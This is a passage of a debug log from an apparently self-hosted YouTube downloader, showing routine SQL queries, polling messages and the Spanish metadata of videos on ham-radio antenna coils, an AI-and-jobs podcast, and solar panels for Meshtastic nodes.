?, "uploaded_at" = ? RETURNING "id" ["Construyendo bobina para la banda de 7 Mhz (y de casualidad otra para la banda de 5 Mhz) para la antena china de varilla telescopica.\n\nModelo 3d para imprimir en ASA/ABS:\n\nhttps://www.thingiverse.com/thing:7030638\n\nEn el modelo de thingiverse estan las dos bobinas, la de 17 espiras para la banda de 5 Mhz y la de 12 espiras para la banda de 7 Mhz. Con estas bobinas haceis que la antena china pueda trabajar en todas las bandas entre 60 y 6 metros.\n\nNecesitareis dos tornillos de M10 y 25mm/30mm de largo como estos:\n\nhttps://www.amazon.es/dp/B09NKWJZRN\n\nY una tuerca de acoplamiento de 30 mm y M10 como esta:\n\nhttps://www.amazon.es/dp/B0B3935CJ9\n\nPor supuesto, en una ferreteria seguro que estan mas baratos.\n\n\n Contenido del video ------------------------------\n00:00 - Presentación\n00:45 - Intro canal\n01:02 - Diseñando una bobina\n02:40 - Diseño 3D\n05:09 - Montando la bobina\n08:50 - Bobinando\n14:05 - Probando el primer diseño\n15:48 - Diseño mejorable...\n16:43 - Adaptando el diseño para 7 Mhz\n18:19 - Nueva prueba en 7 Mhz\n20:06 - Conclusiones\n\n#5Mhz #7Mhz #bobina #antena #china #hamradio #diyelectronics #radioaficionados #construye-tus-antenas\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "157 - CONSTRUYENDO BOBINAS PARA 5 Y 7 MHz PARA LA ANTENA CHINA DE VARILLA EXTENSIBLE", "d994de46-b051-450b-952a-81eb12578ccc", 1401, false, "-01R2j80KkY", "https://www.youtube.com/watch?v=-01R2j80KkY", 24, "/downloads/music/ea3grn/157 - CONSTRUYENDO BOBINAS PARA 5 Y 7 MHz PARA LA ANTENA CHINA DE VARILLA EXTENSIBLE.m4a", false, false, false, 3, [], 98, ~U[2025-05-08 16:52:16Z], ~U[2026-02-07 21:14:31Z], ~U[2026-02-07 21:14:31Z], "Construyendo bobina para la banda de 7 Mhz (y de casualidad otra para la banda de 5 Mhz) para la antena china de varilla telescopica.\n\nModelo 3d para imprimir en ASA/ABS:\n\nhttps://www.thingiverse.com/thing:7030638\n\nEn el modelo de thingiverse estan las dos bobinas, la de 17 espiras para la banda de 5 Mhz y la de 12 espiras para la banda de 7 Mhz. Con estas bobinas haceis que la antena china pueda trabajar en todas las bandas entre 60 y 6 metros.\n\nNecesitareis dos tornillos de M10 y 25mm/30mm de largo como estos:\n\nhttps://www.amazon.es/dp/B09NKWJZRN\n\nY una tuerca de acoplamiento de 30 mm y M10 como esta:\n\nhttps://www.amazon.es/dp/B0B3935CJ9\n\nPor supuesto, en una ferreteria seguro que estan mas baratos.\n\n\n Contenido del video ------------------------------\n00:00 - Presentación\n00:45 - Intro canal\n01:02 - Diseñando una bobina\n02:40 - Diseño 3D\n05:09 - Montando la bobina\n08:50 - Bobinando\n14:05 - Probando el primer diseño\n15:48 - Diseño mejorable...\n16:43 - Adaptando el diseño para 7 Mhz\n18:19 - Nueva prueba en 7 Mhz\n20:06 - Conclusiones\n\n#5Mhz #7Mhz #bobina #antena #china #hamradio #diyelectronics #radioaficionados #construye-tus-antenas\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "157 - CONSTRUYENDO BOBINAS PARA 5 Y 7 MHz PARA LA ANTENA CHINA DE VARILLA EXTENSIBLE", 1401, false, "-01R2j80KkY", "https://www.youtube.com/watch?v=-01R2j80KkY", "/downloads/music/ea3grn/157 - CONSTRUYENDO BOBINAS PARA 5 Y 7 MHz PARA LA ANTENA CHINA DE VARILLA EXTENSIBLE.m4a", false, 3, ~U[2025-05-08 16:52:16Z]] 22:14:31.951 [debug] QUERY OK source="sources" db=0.6ms idle=866.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:14:31.952 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:14:31.952 [debug] QUERY OK source="media_items" db=0.6ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1335] 22:14:31.953 [debug] Current batch of media processed. Will check again in 1000ms 22:14:32.904 [debug] Current batch of media processed. Will check again in 1000ms 22:14:32.953 [debug] Current batch of media processed. Will check again in 1000ms 22:14:33.905 [debug] Current batch of media processed. Will check again in 1000ms 22:14:33.954 [debug] Current batch of media processed. Will check again in 1000ms 22:14:34.906 [debug] Current batch of media processed. Will check again in 1000ms 22:14:34.955 [debug] Current batch of media processed. Will check again in 1000ms 22:14:35.907 [debug] Current batch of media processed. Will check again in 1000ms 22:14:35.956 [debug] Current batch of media processed. Will check again in 1000ms 22:14:36.908 [debug] Current batch of media processed. Will check again in 1000ms 22:14:36.957 [debug] Current batch of media processed. Will check again in 1000ms 22:14:37.909 [debug] Current batch of media processed. Will check again in 1000ms 22:14:37.958 [debug] Current batch of media processed. Will check again in 1000ms 22:14:38.910 [debug] Current batch of media processed. Will check again in 1000ms 22:14:38.959 [debug] Current batch of media processed. Will check again in 1000ms 22:14:39.911 [debug] Current batch of media processed. Will check again in 1000ms 22:14:39.960 [debug] Current batch of media processed. Will check again in 1000ms 22:14:40.912 [debug] Current batch of media processed. Will check again in 1000ms 22:14:40.961 [debug] Current batch of media processed. Will check again in 1000ms 22:14:41.913 [debug] Current batch of media processed. Will check again in 1000ms 22:14:41.962 [debug] Current batch of media processed. Will check again in 1000ms 22:14:42.914 [debug] Current batch of media processed. Will check again in 1000ms 22:14:42.963 [debug] Current batch of media processed. Will check again in 1000ms 22:14:43.915 [debug] Current batch of media processed. Will check again in 1000ms 22:14:43.964 [debug] Current batch of media processed. Will check again in 1000ms 22:14:44.916 [debug] Current batch of media processed. Will check again in 1000ms 22:14:44.965 [debug] Current batch of media processed. Will check again in 1000ms 22:14:45.917 [debug] Current batch of media processed. Will check again in 1000ms 22:14:45.966 [debug] Current batch of media processed. Will check again in 1000ms 22:14:46.918 [debug] Current batch of media processed. Will check again in 1000ms 22:14:46.967 [debug] Current batch of media processed. Will check again in 1000ms 22:14:47.919 [debug] Current batch of media processed. Will check again in 1000ms 22:14:47.968 [debug] Current batch of media processed. Will check again in 1000ms 22:14:48.920 [debug] Current batch of media processed. Will check again in 1000ms 22:14:48.969 [debug] Current batch of media processed. Will check again in 1000ms 22:14:49.921 [debug] Current batch of media processed. Will check again in 1000ms 22:14:49.970 [debug] Current batch of media processed. Will check again in 1000ms 22:14:50.922 [debug] Current batch of media processed. Will check again in 1000ms 22:14:50.971 [debug] Current batch of media processed. Will check again in 1000ms 22:14:51.150 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:51.923 [debug] Current batch of media processed. Will check again in 1000ms 22:14:51.972 [debug] Current batch of media processed. Will check again in 1000ms 22:14:52.924 [debug] Current batch of media processed. Will check again in 1000ms 22:14:52.973 [debug] Current batch of media processed. Will check again in 1000ms 22:14:53.925 [debug] Current batch of media processed. Will check again in 1000ms 22:14:53.974 [debug] Current batch of media processed. Will check again in 1000ms 22:14:54.926 [debug] Current batch of media processed. Will check again in 1000ms 22:14:54.975 [debug] Current batch of media processed. Will check again in 1000ms 22:14:55.927 [debug] Current batch of media processed. Will check again in 1000ms 22:14:55.976 [debug] Current batch of media processed. Will check again in 1000ms 22:14:56.928 [debug] Current batch of media processed. Will check again in 1000ms 22:14:56.977 [debug] Current batch of media processed. Will check again in 1000ms 22:14:57.929 [debug] Current batch of media processed. Will check again in 1000ms 22:14:57.978 [debug] Current batch of media processed. Will check again in 1000ms 22:14:58.930 [debug] Current batch of media processed. Will check again in 1000ms 22:14:58.979 [debug] Current batch of media processed. Will check again in 1000ms 22:14:59.931 [debug] Current batch of media processed. Will check again in 1000ms 22:14:59.980 [debug] Current batch of media processed. Will check again in 1000ms 22:15:00.091 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:15:00.932 [debug] Current batch of media processed. Will check again in 1000ms 22:15:00.981 [debug] Current batch of media processed. Will check again in 1000ms 22:15:01.933 [debug] Current batch of media processed. Will check again in 1000ms 22:15:01.982 [debug] Current batch of media processed. Will check again in 1000ms 22:15:02.934 [debug] Current batch of media processed. Will check again in 1000ms 22:15:02.983 [debug] Current batch of media processed. Will check again in 1000ms 22:15:03.935 [debug] Current batch of media processed. Will check again in 1000ms 22:15:03.984 [debug] Current batch of media processed. Will check again in 1000ms 22:15:04.936 [debug] Current batch of media processed. Will check again in 1000ms 22:15:04.985 [debug] Current batch of media processed. Will check again in 1000ms 22:15:05.937 [debug] Current batch of media processed. Will check again in 1000ms 22:15:05.986 [debug] Current batch of media processed. Will check again in 1000ms 22:15:06.938 [debug] Current batch of media processed. Will check again in 1000ms 22:15:06.987 [debug] Current batch of media processed. Will check again in 1000ms 22:15:07.939 [debug] Current batch of media processed. Will check again in 1000ms 22:15:07.988 [debug] Current batch of media processed. Will check again in 1000ms 22:15:08.940 [debug] Current batch of media processed. Will check again in 1000ms 22:15:08.989 [debug] Current batch of media processed. Will check again in 1000ms 22:15:09.941 [debug] Current batch of media processed. Will check again in 1000ms 22:15:09.990 [debug] Current batch of media processed. Will check again in 1000ms 22:15:10.942 [debug] Current batch of media processed. Will check again in 1000ms 22:15:10.991 [debug] Current batch of media processed. Will check again in 1000ms 22:15:11.943 [debug] Current batch of media processed. Will check again in 1000ms 22:15:11.992 [debug] Current batch of media processed. Will check again in 1000ms 22:15:12.944 [debug] Current batch of media processed. Will check again in 1000ms 22:15:12.993 [debug] Current batch of media processed. Will check again in 1000ms 22:15:13.945 [debug] Current batch of media processed. Will check again in 1000ms 22:15:13.994 [debug] Current batch of media processed. Will check again in 1000ms 22:15:14.946 [debug] Current batch of media processed. Will check again in 1000ms 22:15:14.995 [debug] Current batch of media processed. Will check again in 1000ms 22:15:15.947 [debug] Current batch of media processed. Will check again in 1000ms 22:15:15.996 [debug] Current batch of media processed. Will check again in 1000ms 22:15:16.948 [debug] Current batch of media processed. Will check again in 1000ms 22:15:16.997 [debug] Current batch of media processed. Will check again in 1000ms 22:15:17.949 [debug] Current batch of media processed. Will check again in 1000ms 22:15:17.998 [debug] Current batch of media processed. Will check again in 1000ms 22:15:18.950 [debug] Current batch of media processed. Will check again in 1000ms 22:15:18.999 [debug] Current batch of media processed. Will check again in 1000ms 22:15:19.951 [debug] Current batch of media processed. Will check again in 1000ms 22:15:20.000 [debug] Current batch of media processed. Will check again in 1000ms 22:15:20.952 [debug] Current batch of media processed. Will check again in 1000ms 22:15:21.001 [debug] Current batch of media processed. Will check again in 1000ms 22:15:21.151 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:21.953 [debug] Current batch of media processed. Will check again in 1000ms 22:15:22.002 [debug] Current batch of media processed. Will check again in 1000ms 22:15:22.954 [debug] Current batch of media processed. Will check again in 1000ms 22:15:23.003 [debug] Current batch of media processed. Will check again in 1000ms 22:15:23.955 [debug] Current batch of media processed. Will check again in 1000ms 22:15:24.004 [debug] Current batch of media processed. Will check again in 1000ms 22:15:24.956 [debug] Current batch of media processed. Will check again in 1000ms 22:15:25.005 [debug] Current batch of media processed. Will check again in 1000ms 22:15:25.957 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Ep.2️⃣6️⃣: El Apocalipsis 🧟🧟\u200D♀️\n\nEstoy cansado de los del Apocalipsis... esto de la IA nos va a destruir va a matar todos los trabajos, nos vamos a ir todos al paro etc etc... \nHan hecho un estudio los de Microsoft (yo creo que muy simple) pero muy mediatico... salio en la noticias de toda España (aunque como siempre no las escucharas.. ) en el que dice que trabajos se van a ver mas afectados.... \n\nSiiiii, hay trabajos que ya no tienen sentido... al igual que ya no tiene sentido ir a Pekin andando... o hacer un cuenta de resultados sin excel... Pero no se habla de los trabajos que han aparecido... NI mucho menos se habla de los trabajos potenciados, entre ellos los dos mios.. tecnologia y salud, aqui ahora vamos a poder hace decenas de veces mas y dentro de poco miles....\n\nHoy David García Martínez y yo contamos este apocalipsis zombi, y comenzamos esta serie de dos y ya veremos si tres episodios del futuro del empleo/profesiones en la era de la IA. Hoy toca las sombras..🧟🧟\u200D♀️. porque siempre hay que terminar con la luz! 🌞\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ChatGPT hashtag#IAGen hashtag#GenAI \n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "duration" => 903, "filename" => "/downloads/music/IA mí QUÉ/EP26: APOCALIPSIS.m4a", "id" => "yybHPNVWRtw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=yybHPNVWRtw", "playlist_index" => 24, "timestamp" => 1756454789, "title" => "EP26: APOCALIPSIS", "upload_date" => "20250829"} 22:15:25.958 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1203.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:15:25.959 [debug] QUERY OK source="sources" db=0.4ms idle=772.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:15:25.960 [debug] QUERY OK source="media_items" db=0.9ms idle=205.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-29 08:06:29Z], 2] 22:15:25.962 [debug] QUERY OK source="media_items" db=1.3ms idle=206.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Ep.2️⃣6️⃣: El Apocalipsis 🧟🧟\u200D♀️\n\nEstoy cansado de los del Apocalipsis... esto de la IA nos va a destruir va a matar todos los trabajos, nos vamos a ir todos al paro etc etc... \nHan hecho un estudio los de Microsoft (yo creo que muy simple) pero muy mediatico... salio en la noticias de toda España (aunque como siempre no las escucharas.. ) en el que dice que trabajos se van a ver mas afectados.... \n\nSiiiii, hay trabajos que ya no tienen sentido... al igual que ya no tiene sentido ir a Pekin andando... o hacer un cuenta de resultados sin excel... Pero no se habla de los trabajos que han aparecido... NI mucho menos se habla de los trabajos potenciados, entre ellos los dos mios.. tecnologia y salud, aqui ahora vamos a poder hace decenas de veces mas y dentro de poco miles....\n\nHoy David García Martínez y yo contamos este apocalipsis zombi, y comenzamos esta serie de dos y ya veremos si tres episodios del futuro del empleo/profesiones en la era de la IA. Hoy toca las sombras..🧟🧟\u200D♀️. porque siempre hay que terminar con la luz! 🌞\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ChatGPT hashtag#IAGen hashtag#GenAI \n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP26: APOCALIPSIS", "4cff93c1-551b-4bba-9864-64643ad8842a", 903, false, "yybHPNVWRtw", "https://www.youtube.com/watch?v=yybHPNVWRtw", 24, "/downloads/music/IA mí QUÉ/EP26: APOCALIPSIS.m4a", false, false, false, 2, [], 98, ~U[2025-08-29 08:06:29Z], ~U[2026-02-07 21:15:25Z], ~U[2026-02-07 21:15:25Z], "#IAMIQUE 👉🏼 Ep.2️⃣6️⃣: El Apocalipsis 🧟🧟\u200D♀️\n\nEstoy cansado de los del Apocalipsis... esto de la IA nos va a destruir va a matar todos los trabajos, nos vamos a ir todos al paro etc etc... \nHan hecho un estudio los de Microsoft (yo creo que muy simple) pero muy mediatico... salio en la noticias de toda España (aunque como siempre no las escucharas.. ) en el que dice que trabajos se van a ver mas afectados.... \n\nSiiiii, hay trabajos que ya no tienen sentido... al igual que ya no tiene sentido ir a Pekin andando... o hacer un cuenta de resultados sin excel... Pero no se habla de los trabajos que han aparecido... NI mucho menos se habla de los trabajos potenciados, entre ellos los dos mios.. tecnologia y salud, aqui ahora vamos a poder hace decenas de veces mas y dentro de poco miles....\n\nHoy David García Martínez y yo contamos este apocalipsis zombi, y comenzamos esta serie de dos y ya veremos si tres episodios del futuro del empleo/profesiones en la era de la IA. Hoy toca las sombras..🧟🧟\u200D♀️. porque siempre hay que terminar con la luz! 🌞\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ChatGPT hashtag#IAGen hashtag#GenAI \n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP26: APOCALIPSIS", 903, false, "yybHPNVWRtw", "https://www.youtube.com/watch?v=yybHPNVWRtw", "/downloads/music/IA mí QUÉ/EP26: APOCALIPSIS.m4a", false, 2, ~U[2025-08-29 08:06:29Z]] 22:15:25.963 [debug] QUERY OK source="sources" db=0.6ms idle=208.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:15:25.964 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:15:25.965 [debug] QUERY OK source="media_items" db=0.6ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1276] 22:15:25.965 [debug] Current batch of media processed. Will check again in 1000ms 22:15:26.006 [debug] Current batch of media processed. Will check again in 1000ms 22:15:26.965 [debug] Current batch of media processed. Will check again in 1000ms 22:15:27.007 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Hablando de paneles solares económicos y nodos meshtastic\n\nEnlaces a las compras:\n\nhttps://es.aliexpress.com/item/1005008076138305.html\npanel 133 x 73 mm\nV - 7.0v\nIc - 186mA\n\nPotencia = 1.26w (80% 1.0w) Publicitados 1.25.\n\n2.21 euros\n\n---------------------------\nhttps://es.aliexpress.com/item/1005007701773816.html\nPanel doble\nV 7.0 v\nIc - 840mA\n\nPotencia = 5.88w (80% 4.7w) publicitados 35w\n\n7.39 euros\n\n--------------------------------------\n\nhttps://es.aliexpress.com/item/1005005721676312.html\nPlaca 110 x 60 mm\n\nv- 6.8v\nIc - 130mA\n\nPotencia = 0.88 w (80% 0.7w ) Publicitados 1 w\n\n2.41 euros\n\n----------------------------------------\namazon.es/dp/B09F3LWLJ1\n\nPlaca 10w\n\nV- 5.9v\nIc - 630mA\n\nPotencia = 3.7 w (80% 2.9 w) Publicitados 10w\n\nPrecio 18 euros.\n-------------------------------------------\n\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n00:35 - Intro canal\n00:52 - Explicando conceptos\n09:08 - Probando las placas\n10:58 - Analizando los datos\n19:59 - Cargadores y los MPPT\n27:48 - ¿Que potencia necesito?\n\n#solar #mppt #meshtastic #hamradio #radioaficionados #mesh #868Mhz #panelsolar\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 2085, "filename" => "/downloads/music/ea3grn/156 - PANELES SOLARES Y NODOS MESHTASTIC.m4a", "id" => "nixWEYjBFH8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=nixWEYjBFH8", "playlist_index" => 25, "timestamp" => 1746294663, "title" => "156 - PANELES SOLARES Y NODOS MESHTASTIC", "upload_date" => "20250503"} 22:15:27.008 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1045.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:15:27.009 [debug] QUERY OK source="sources" db=0.6ms idle=1045.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:15:27.010 [debug] QUERY OK source="media_items" db=0.7ms idle=1045.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-03 17:51:03Z], 3] 22:15:27.012 [debug] QUERY OK source="media_items" db=1.2ms idle=1045.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hablando de paneles solares económicos y nodos meshtastic\n\nEnlaces a las compras:\n\nhttps://es.aliexpress.com/item/1005008076138305.html\npanel 133 x 73 mm\nV - 7.0v\nIc - 186mA\n\nPotencia = 1.26w (80% 1.0w) Publicitados 1.25.\n\n2.21 euros\n\n---------------------------\nhttps://es.aliexpress.com/item/1005007701773816.html\nPanel doble\nV 7.0 v\nIc - 840mA\n\nPotencia = 5.88w (80% 4.7w) publicitados 35w\n\n7.39 euros\n\n--------------------------------------\n\nhttps://es.aliexpress.com/item/1005005721676312.html\nPlaca 110 x 60 mm\n\nv- 6.8v\nIc - 130mA\n\nPotencia = 0.88 w (80% 0.7w ) Publicitados 1 w\n\n2.41 euros\n\n----------------------------------------\namazon.es/dp/B09F3LWLJ1\n\nPlaca 10w\n\nV- 5.9v\nIc - 630mA\n\nPotencia = 3.7 w (80% 2.9 w) Publicitados 10w\n\nPrecio 18 euros.\n-------------------------------------------\n\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n00:35 - Intro canal\n00:52 - Explicando conceptos\n09:08 - Probando las placas\n10:58 - Analizando los datos\n19:59 - Cargadores y los MPPT\n27:48 - ¿Que potencia necesito?\n\n#solar #mppt #meshtastic #hamradio #radioaficionados #mesh #868Mhz #panelsolar\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el 